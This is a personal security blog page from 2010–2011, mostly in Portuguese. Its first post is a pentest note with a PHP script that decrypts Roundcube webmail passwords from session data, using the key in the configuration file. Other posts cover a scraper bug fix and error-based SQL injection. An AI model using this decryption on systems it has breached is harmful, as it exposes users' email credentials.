Recent Updates Toggle Comment Threads | Keyboard Shortcuts

  • ulissescastro 5:35 pm on April 9, 2011 Permalink | Reply
    Tags: Cracking, Decrypt, , PHP,   

    Decrypting Roundcube Webmail Password 

    Durante um pentest após conseguir acesso a base de dados mysql, um dos bancos presentes “mail” representava o Roundcube e nele havia uma tabela chamada “session”, na mesma havia a coluna “vars” da qual continha dados da sessão do usuário.

    mysql> describe session;
    +---------+-------------+------+-----+---------------------+-------+
    | Field   | Type        | Null | Key | Default             | Extra |
    +---------+-------------+------+-----+---------------------+-------+
    | sess_id | varchar(40) | NO   | PRI | NULL                |       |
    | created | datetime    | NO   |     | 0000-00-00 00:00:00 |       |
    | changed | datetime    | NO   |     | 0000-00-00 00:00:00 |       |
    | ip      | varchar(40) | NO   |     | NULL                |       |
    | vars    | text        | NO   |     | NULL                |       |
    +---------+-------------+------+-----+---------------------+-------+
    5 rows in set (0.00 sec)
    

    Dentro os dados contidos em “vars” teve um que chamou atenção que era uma string em base64, o webmail não estava disponível na internet somente para rede interna, após ler o funcionamento do Roundcube e os fontes vi que o mesmo autentica no smtp para baixar o cabeçalho das mensagens, etc, mas e a senha?

    Bom, a senha é a mesma que fica codificada utilizando a chave contida no arquivo de configuração do Roundcube, não quero estender e entrar nos detalhes de como consegui, mas com a chave que criptografa a senha de uma maneira “pseudo-random” é possível fazer o caminho inverso e decriptar.

    Escrevi um script em php para esta tarefa, segue.

    $des_key = "secret key from conf";
    $cypher = "base64 password from session";
    
    if (function_exists('mcrypt_module_open')) {
    	echo "[OK] mcrypt_module_open function exist.\n";
    }
    
    if ($td = mcrypt_module_open(MCRYPT_TripleDES, "", MCRYPT_MODE_ECB, "")) {
    	echo "[OK] ". $td . "\n";
    }
    
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $des_key, $iv);
    $pass = mdecrypt_generic($td, base64_decode($cypher));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $decrypted = preg_replace('/\x00/', '', $pass);
    echo "[DECRYPTED] ".$decrypted;
    

    Download: Roundcube Password Decrypt

     
  • ulissescastro 3:52 pm on April 9, 2011 Permalink | Reply  

    Ok, 1000 anos sem atualizar again… 

    Vou tentar mudar a abordagem de escrita de posts, definitivamente escrever posts imensos e cheios de detalhes fica praticamente inviável para mim nos dias de hoje.

    Vou utilizar este blog como um “twitter” extendido, posts pequenos no estilo “anotações” com pensamentos técnicos sem muitas explicações e com maiores referências.

    Até já!

     
  • ulissescastro 3:31 am on November 21, 2010 Permalink | Reply
    Tags: Bug, Devel, Fix, Python   

    Using Google Search from your Python code [fixed] 

    Just a quick and dirty fix IMHO the best python google API written by Mario Vilas from breakingcode blog.

    Check diff-style output modifications below:

    --- google-mario.py     2010-11-21 00:59:42.000000000 -0200
    +++ google-thebug.py    2010-11-21 01:00:00.000000000 -0200
    @@ -138,9 +138,12 @@
    soup = BeautifulSoup.BeautifulSoup(html)
    anchors = soup.findAll('a')
    for a in anchors:
    -            link = a['href']
    +            try:
    +                link = a['href']
    +            except:
    +                continue
    o = urlparse.urlparse(link, 'http')
    -            if o.netloc and 'google' not in o.netloc:
    +            if o.netloc and ('google' not in o.netloc) and ('youtube' not in o.netloc):
    yield link
    
    # Prepare the URL for the next request
    

    Changelog:
    - add a youtube and google links filter
    - ‘href’ bug fixed (see below)

    Traceback (most recent call last):
    File "./google-mario.py", line 158, in
    for url in search(query, stop=20):
    File "./google-mario.py", line 141, in search
    link = a['href']
    File "build/bdist.macosx-10.6-universal/egg/BeautifulSoup.py", line 541, in __getitem__
    KeyError: 'href'
    

    All credits to Mario Vilas who wrote this quite simple python Google Search, thanks Mario.

    You can download new and fixed Google Search, here.

     
    • Joel Shapiro 1:29 am on August 23, 2012 Permalink | Reply

      Mr. Castro, I implemented your fix and it seems to work perfectly except it seems to work for only “plain Vanilla (English) ASCII”. Any ideas how to tweak it for Unicode? BTW Nice fix, Joel S.

  • ulissescastro 8:37 am on October 5, 2010 Permalink | Reply
    Tags: Conviso, News, , Security, SQL Injection,   

    Velhas falhas, novas técnicas: Error Based SQL Injection 

    Conforme os softwares de banco de dados vão evoluindo, novas funcionalidades vão sendo adicionadas e novas técnicas baseadas em antigas vulnerabilidades vão surgindo.

    Em um artigo que escrevi para o Blog da Conviso apontei detalhadamente e demonstrei as possibilidades que estas novas funcionalidades nos trazem durante um teste de intrusão, para quem não leu recomendo pois em breve estarei lançando a tool (ainda em fase de desenvolvimento) como prova de conceito.

    Segue link para o artigo:
    https://www.conviso.com.br/velhas-falhas-novas-tecnicas-error-based-sql-injection/

    Enjoy… ;)

     
  • ulissescastro 2:29 am on October 5, 2010 Permalink | Reply
    Tags: History, Random   

    Voltando para “Blogosfera”! 

    Tive alguns problemas com meu “back log” anterior, realmente tomei algumas decisões incorretas e acabei “perdendo” de certa forma o conteúdo web do mesmo. (longa história)

    Mas como em todos os posts eu fazia uma versão “draft” em txt, tenho todo o conteúdo guardado, os posts procurados e que a galera que enviou email solicitando acabei enviando o “how to” via txt-draft mesmo, antes que perguntem não fui “p0wn3d” pelo menos ainda eheheh… foi por problemas de trâmite financeiro com o provedor. :)

    A notícia boa é que agora estou em meu próprio domínio “http://ulissescastro.com” graças ao antigo dono do que gentilmente transferiu sem nenhum custo o domínio para meu nome (VALEU!).

    Encontrei um tema bacana e BEM dinâmico segue um estilo “Twitter” com teclas de atalho e etc… agora vou conseguir realizar os posts mais rapidamente.

    Prometo aos poucos ir atualizando e subindo diversos posts que foram interessantes, tenho uma pancada de coisa legal pra subir aqui, diversas experiências que nesse tempo todo sem “blogar” eu acumulei, cluster de PS3 que montei, cracking utilizando CUDA, minhas experiências engenharia social, mais, muito mais scripts em python que em breve estarei publicando aqui o svn pra galera.

    É isso primeiro post pra registrar o que houve e bola pra frente, espero recuperar os meus seguidores assíduos e “ninjas” que compartilharam um monte de experiência comigo.

    Happy cracking!

     
c
compose new post
j
next post/next comment
k
previous post/previous comment
r
reply
e
edit
o
show/hide comments
t
go to top
l
go to login
h
show/hide help
shift + esc
cancel